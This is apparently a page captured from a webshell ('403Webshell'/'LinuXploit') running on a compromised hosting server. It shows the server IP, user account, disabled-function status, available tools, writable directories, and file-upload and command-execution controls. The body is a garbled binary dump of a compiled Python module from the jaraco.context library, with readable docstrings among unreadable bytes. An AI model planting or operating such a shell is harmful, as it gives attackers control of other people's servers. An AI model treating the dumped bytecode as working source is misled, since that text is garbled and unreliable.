403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.216.104
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/usr/lib/python3/dist-packages/jaraco/context/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/usr/lib/python3/dist-packages/jaraco/context/__pycache__/__init__.cpython-313.pyc
�

tFsi&���SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
rSSKJr \R"S:aSSKJr OSSKr\R(SSj5r\R(SSSjj5rSrSS	jr\"\R2\5rS
r\"\\5rSrSr\R(\R>4S
j5r \RB"\ \"5S9r"\R(SS\"4SSjj5r#"SS5r$"SS\RJ\RL5r%"SS\RL5r'g)�)�annotationsN)�Iterator)��)�tarfilec#��# �[R"5n[R"U5 Uv� [R"U5 g![R"U5 f=f7f)z�
>>> tmp_path = getfixture('tmp_path')
>>> with pushd(tmp_path):
...     assert os.getcwd() == os.fspath(tmp_path)
>>> assert os.getcwd() != os.fspath(tmp_path)
N)�os�getcwd�chdir)�dir�origs  �9/usr/lib/python3/dist-packages/jaraco/context/__init__.py�pushdrs=����9�9�;�D��H�H�S�M���	�
�����������s�,A%�A
�A%�
A"�"A%c#��# �Uc?[RRU5RSS5RSS5n[R"U5 [
RRU5n[R"USS9nURU[S9 SSS5 Uv� [R"U5 g!,(df   N)=f![R"U5 f=f7f)a
Get a URL to a tarball, download, extract, yield, then clean up.

Assumes everything in the tarball is prefixed with a common
directory. That common path is stripped and the contents
are extracted to ``target_dir``, similar to passing
``-C {target} --strip-components 1`` to the ``tar`` command.

Uses the streaming protocol to extract the contents from a
stream in a single pass without loading the whole file into
memory.

>>> import urllib.request
>>> url = getfixture('tarfile_served')
>>> target = getfixture('tmp_path') / 'out'
>>> tb = tarball(url, target_dir=target)
>>> import pathlib
>>> with tb as extracted:
...     contents = pathlib.Path(extracted, 'contents.txt').read_text(encoding='utf-8')
>>> assert not os.path.exists(extracted)

If the target is not specified, contents are extracted to a
directory relative to the current working directory named after
the name of the file as extracted from the URL.

>>> target = getfixture('tmp_path')
>>> with pushd(target), tarball(url):
...     target.joinpath('served').is_dir()
True
Nz.tar.gz�z.tgzzr|*)�fileobj�mode)�path�filter)r	r�basename�replace�mkdir�urllib�request�urlopenr�open�
extractall�_default_filter�shutil�rmtree)�url�
target_dir�req�tfs    r�tarballr%)s����D���W�W�%�%�c�*�2�2�9�b�A�I�I�&�RT�U�
��H�H�Z��"��n�n�$�$�S�)��
�\�\�#�E�
2�b��M�M�z�/�M�B�3����
�
�j�!�	3�
2��	�
�
�j�!�s6�AC4�4C�C�%C�1C4�
C�C�C1�1C4c�8�Sn[R"XS5$)Nc�^^�UU4Sj$)Nc�">�T"T"X5U5$�N�)�memberr�f1�f2s  ��r�<lambda>�?_compose_tarfile_filters.<locals>.compose_two.<locals>.<lambda>Ys���B�r�&�'7��$>�r*)r,r-s``r�compose_two�-_compose_tarfile_filters.<locals>.compose_twoXs	���>�>r0c��U$r)r*)r+rs  rr.�*_compose_tarfile_filters.<locals>.<lambda>[s��vr0)�	functools�reduce)�filtersr1s  r�_compose_tarfile_filtersr8Ws��?����K�2M�N�Nr0c�L�URRSS5uo lU$)N�/�)�name�split)r+r�_s   r�strip_first_componentr?^s#���[�[�&�&�s�A�.�N�A�{��Mr0c�H�Sn[R"U[U55$)aQ
Compose any number of dependent context managers into a single one.

The last, innermost context manager may take arbitrary arguments, but
each successive context manager should accept the result from the
previous as a single parameter.

Like :func:`jaraco.functools.compose`, behavior works from right to
left, so the context manager should be indicated from outermost to
innermost.

Example, to create a context manager to change to a temporary
directory:

>>> temp_dir_as_cwd = _compose(pushd, temp_dir)
>>> with temp_dir_as_cwd() as dir:
...     assert os.path.samefile(os.getcwd(), dir)
c�@^^�UU4Sjn[R"U5$)Nc?�># �T"U0UD6nT"U5nUv� SSS5 SSS5 g!,(df   N=f!,(df   g=f7fr)r*)�args�kwargs�saved�res�inner�outers    ��r�composed�/_compose.<locals>.compose_two.<locals>.composed~s8������'��'�5�%��,�#��	�3?�'�'�,�,��'�'�s)�	A
�	<�+�<�	A
�
9	�<�
A
�A
)�
contextlib�contextmanager)rGrHrIs`` rr1�_compose.<locals>.compose_two}s���	��(�(��2�2r0)r5r6�reversed)�cmgrsr1s  r�_composerPis ��(3����K��%��9�9r0c�P�Uup4nU[R[R[R4;anUR[R
:XaP[R"U[R[R-[R-5 U"U5 ge)z6
Add support for removing read-only files on Windows.
N)r	�rmdir�remove�unlink�errno�EACCES�chmod�stat�S_IRWXU�S_IRWXG�S_IRWXO)�funcr�exc_infor>�excs     r�remove_readonlyr_�se���I�A�A�����"�)�)�R�Y�Y�/�/�C�I�I����4M�
����t�|�|�d�l�l�2�T�\�\�A�B��T�
�
r0c��[R"5S:Xa'[R"[R
[S9$[R
$)N�Windows)�onerror)�platform�systemr5�partialrr r_r*r0r�robust_removerrf�s<���?�?��	�)�	���&�-�-��A���]�]�r0c#�j# �[R"5nUv� U"U5 g!U"U5 f=f7f)z�
Create a temporary directory context. Pass a custom remover
to override the removal behavior.

>>> import pathlib
>>> with temp_dir() as the_dir:
...     assert os.path.isdir(the_dir)
>>> assert not os.path.exists(the_dir)
N)�tempfile�mkdtemp)�remover�temp_dirs  rrkrk�s/������!�H�����������s�3�&�	3�
0�3)rjTc#�# �SU;aSOSnU"5nUSX/nURSU/[U5-5 U(a[ROSn[R"XgUS9 Uv� SSS5 g!,(df   g=f7f)a0
Check out the repo indicated by url.

If dest_ctx is supplied, it should be a context manager
to yield the target directory for the check out.

>>> repo = repo_context('https://github.com/jaraco/jaraco.context')
>>> with repo as dest:
...     listing = os.listdir(dest)
>>> 'README.rst' in listing
True
�git�hg�clonez--branchN)�stdout�stderr)�extend�bool�
subprocess�DEVNULL�
check_call)r!�branch�quiet�dest_ctx�exe�repo_dir�cmd�streams        r�repo_contextr~�sn��� �C�<�%�T�C�	��x��G�S�+���
�
�J��'�$�v�,�6�7�',��#�#�$�����c��@���
���s�B�AA4�+	B�4
B�>Bc��\rSrSrSrSr\44SjrSr\	S5r
\	S5r\	S5rS	r
S
r\S.SjrS
rSrg)�
ExceptionTrap��aA
A context manager that will catch certain exceptions and provide an
indication they occurred.

>>> with ExceptionTrap() as trap:
...     raise Exception()
>>> bool(trap)
True

>>> with ExceptionTrap() as trap:
...     pass
>>> bool(trap)
False

>>> with ExceptionTrap(ValueError) as trap:
...     raise ValueError("1 + 1 is not 3")
>>> bool(trap)
True
>>> trap.value
ValueError('1 + 1 is not 3')
>>> trap.tb
<traceback object at ...>

>>> with ExceptionTrap(ValueError) as trap:
...     raise Exception()
Traceback (most recent call last):
...
Exception

>>> bool(trap)
False
)NNNc��Xlgr))�
exceptions)�selfr�s  r�__init__�ExceptionTrap.__init__�s��$�r0c��U$r)r*�r�s r�	__enter__�ExceptionTrap.__enter__�����r0c� �URS$�Nr�r]r�s r�type�ExceptionTrap.type�����}�}�Q��r0c� �URS$)Nr;r�r�s r�value�ExceptionTrap.value�r�r0c� �URS$)N�r�r�s r�tb�ExceptionTrap.tbr�r0c�f�USnU=(a [X R5nU(aXlU$r�)�
issubclassr�r])r�r]r��matchess    r�__exit__�ExceptionTrap.__exit__s+����{���<�:�d�O�O�<���$�M��r0c�,�[UR5$r))rsr�r�s r�__bool__�ExceptionTrap.__bool__s���D�I�I��r0��_testc�N^^^�[R"T5UUU4Sj5nU$)aQ
Wrap func and replace the result with the truth
value of the trap (True if an exception occurred).

First, give the decorator an alias to support Python 3.8
Syntax.

>>> raises = ExceptionTrap(ValueError).raises

Now decorate a function that always fails.

>>> @raises
... def fail():
...     raise ValueError('failed')
>>> fail()
True
c�>�[TR5nT"U0UD6 SSS5 T"W5$!,(df   N=fr))r�r�)rCrD�trapr�r\r�s   ���r�wrapper�%ExceptionTrap.raises.<locals>.wrapper$s6����t���/�4��d�%�f�%�0���;��0�/�s�	0�
>)r5�wraps)r�r\r�r�s``` r�raises�ExceptionTrap.raisess'���&
����	�	�
�	�
�r0c�>�URU[RS9$)aJ
Wrap func and replace the result with the truth
value of the trap (True if no exception).

First, give the decorator an alias to support Python 3.8
Syntax.

>>> passes = ExceptionTrap(ValueError).passes

Now decorate a function that always fails.

>>> @passes
... def fail():
...     raise ValueError('failed')

>>> fail()
False
r�)r��operator�not_)r�r\s  r�passes�ExceptionTrap.passes,s��&�{�{�4�x�}�}�{�5�5r0)r]r�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r]�	Exceptionr�r��propertyr�r�r�r�r�rsr�r��__static_attributes__r*r0rr�r��ss���B �H�#,�,�%��� �� �� �� �� �� ���%)��66r0r�c��\rSrSrSrSrg)�suppressiBz�
A version of contextlib.suppress with decorator support.

>>> @suppress(KeyError)
... def key_error():
...     {}['']
>>> key_error()
r*N)r�r�r�r�r�r�r*r0rr�r�Bs��r0r�c�.�\rSrSrSrSSjrSrSrSrg)	�on_interruptiMa
Replace a KeyboardInterrupt with SystemExit(1).

Useful in conjunction with console entry point functions.

>>> def do_interrupt():
...     raise KeyboardInterrupt()
>>> on_interrupt('error')(do_interrupt)()
Traceback (most recent call last):
...
SystemExit: 1
>>> on_interrupt('error', code=255)(do_interrupt)()
Traceback (most recent call last):
...
SystemExit: 255
>>> on_interrupt('suppress')(do_interrupt)()
>>> with __import__('pytest').raises(KeyboardInterrupt):
...     on_interrupt('ignore')(do_interrupt)()
c��XlX lgr)��action�code)r�r�r�s   rr��on_interrupt.__init__bs�����	r0c��U$r)r*r�s rr��on_interrupt.__enter__fr�r0c��U[LdURS:XagURS:Xa[UR5UeURS:H$)N�ignore�errorr�)�KeyboardInterruptr��
SystemExitr�)r��exctype�excinst�exctbs    rr��on_interrupt.__exit__isE���+�+�t�{�{�h�/F��
�[�[�G�
#��T�Y�Y�'�W�4��{�{�j�(�(r0r�N)r�r;)	r�r�r�r�r�r�r�r�r�r*r0rr�r�Ms���(��)r0r�)rzstr | os.PathLike�return�Iterator[str | os.PathLike]r))r"zstr | os.PathLike | Noner�r�)r+�tarfile.TarInfor�r�)rwz
str | Nonerxrs)(�
__future__rrKrUr5r�r	rcrrXrt�sysrh�urllib.requestr�typingr�version_info�	backportsrrLrr%r8r?�data_filterrrP�tarball_cwdr_rfr rkre�robust_temp_dirr~r�r��ContextDecoratorr�r*r0r�<module>r�s���"�����	��
���
�������g��!�����
��
� ���04�*"�-�*"� �*"��*"�ZO������+�7�+>�+>�@U�V��:�<�u�g�&���
������]�]����"�#�#�H�n�6F�G�����"�$�����+/����0n6�n6�b�z�"�"�J�$?�$?��!)�:�.�.�!)r0

Youez - 2016 - github.com/yon3zu
LinuXploit